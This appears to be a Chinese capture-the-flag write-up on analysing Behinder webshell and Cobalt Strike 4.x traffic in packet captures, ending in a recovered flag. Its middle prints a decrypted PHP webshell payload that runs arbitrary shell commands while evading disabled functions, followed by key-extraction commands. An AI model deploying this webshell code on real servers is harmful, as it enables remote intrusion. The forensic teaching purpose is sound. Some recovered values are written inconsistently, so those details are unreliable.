考点:冰蝎webshell流量分析+CS4.x流量解密
给了两个 流量包
第一个 ctf1.pcapng
查看其HTTP请求
而在CS中流量特征是基于tls协议
http-beacon 通信中,默认使用 GET 方法向 /dpixel
、/__utm.gif
、/pixel.gif
等地址发起请求,而且下发指令的时候会请求 /submit.php?id=一串数字
可以判断第一个流量包是CS流量
现在我们要想办法获取 AES key
和 HMAC key
第二个流量包是
和webshell建立了长连接通信
可以导出http对象拿到 Secret.zip
发现存在 密码
可以提取内存文件 考虑CS的利用动态信标的进程转储直接获得 AES key、HMAC key 以及 RAW
分析http.request.method=="POST"
可以发现冰蝎特征
Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
直接尝试默认密码 rebeyond
对流量解密
AES加密的密钥为连接密码MD5的前16位,默认连接密码是rebeyond
(即md5('rebeyond')[0:16]=e45e329feb5d925b
)
当然这道题密钥就是 e45e329feb5d925b
但是还可以xor操作码已知明文 反推密钥
一个事实是 :冰蝎 shell 当中的恶意 php 脚本,头都是一样的,以 @error_reporting
开头
拿到 45e329feb5d925b
可以成功解密流量内容
在 流13 中 tcp.stream eq 13
@error_reporting(0);function getSafeStr($str){$s1 = iconv('utf-8','gbk//IGNORE',$str);$s0 = iconv('gbk','utf-8//IGNORE',$s1);if($s0 == $str){return $s0;}else{return iconv('gbk','utf-8//IGNORE',$str);}
}
function main($cmd,$path)
{@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time', 0);$result = array();$PadtJn = @ini_get('disable_functions');if (! empty($PadtJn)) {$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);$PadtJn = explode(',', $PadtJn);$PadtJn = array_map('trim', $PadtJn);} else {$PadtJn = array();}$c = $cmd;if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {$c = $c . " 2>&1\n";}$JueQDBH = 'is_callable';$Bvce = 'in_array';if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {ob_start();system($c);$kWJW = ob_get_contents();ob_end_clean();} else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {$handle = proc_open($c, array(array('pipe','r'),array('pipe','w'),array('pipe','w')), $pipes);$kWJW = NULL;while (! feof($pipes[1])) {$kWJW .= fread($pipes[1], 1024);}@proc_close($handle);} else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {ob_start();passthru($c);$kWJW = ob_get_contents();ob_end_clean();} else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {$kWJW = shell_exec($c);} else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {$kWJW = array();exec($c, $kWJW);$kWJW = join(chr(10), $kWJW) . chr(10);} else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {$fp = popen($c, 'r');$kWJW = NULL;if (is_resource($fp)) {while (! feof($fp)) {$kWJW .= fread($fp, 1024);}}@pclose($fp);} else {$kWJW = 0;$result["status"] = base64_encode("fail");$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");$key = $_SESSION['k'];echo encrypt(json_encode($result));return;}$result["status"] = base64_encode("success");$result["msg"] = base64_encode(getSafeStr($kWJW));echo encrypt(json_encode($result));
}function Encrypt($data)
{$key="e45e329feb5d925b"; for($i=0;$i<strlen($data);$i++) {$data[$i] = $data[$i]^$key[$i+1&15]; }$bs="base64_"."encode";$after=$bs($data."");return $after;
}
$cmd="Y2QgL3Zhci93d3cvaHRtbC9kdndhL2hhY2thYmxlL3VwbG9hZHMvIDt6aXAgLVAgSCZOY3RmMTQ3ODkgU2VjcmV0LnppcCBkbXAuZG1w";$cmd=base64_decode($cmd);$path="L3Zhci93d3cvaHRtbC9kdndhL2hhY2thYmxlL3VwbG9hZHMv";$path=base64_decode($path);
main($cmd,$path);
同理 还有一个请求
两个数据base64解码后
看响应包
可以判断第二个才是正确的密码
HNctf14789
现在拿到了 dmp.dmp了
对CS流量进行分析
利用脚本
https://github.com/minhangxiaohui/CSthing
https://github.com/DidierStevens/Beta/blob/master/cs-extract-key.py
4.x 版本 cs 的动态信标的进程转储文件是提取不出通信所需要的 key
要考虑碰撞解密 转储dmp
先提取密文
python cs-parse-http-traffic.py -k unknown ctf1.pcapng
拿48长度的密文碰撞(随意取)
d3f7b232a13874ae45fcf0d82def3d8a9bec06c17b9828f2b162ffae4a958b6ba0d39189dbc9dc5bb97c946a6775ee13
开始碰撞key
python cs-extract-key.py -t d3f7b232a13874ae45fcf0d82def3d8a9bec06c17b9828f2b162ffae4a958b6ba0d39189dbc9dc5bb97c946a6775ee13 dmp.dmp
可以拿到 key:3e2c8bd57d043ae78caa33c1f76fb3de:0406b3801de60f1fd4d7391d618eec81
对流量包进行解密
python cs-parse-http-traffic.py -k 3e2c8bd57d043ae78caa33c1f76fb3de:0406b3801de60f1fd4d7391d618eec81 ctf1.pcapng
有报错 直接问下GPT
485行改下脚本
拿到flag
H&NCTF{29d5c78b-4367-49ff-807f-dd204341f225}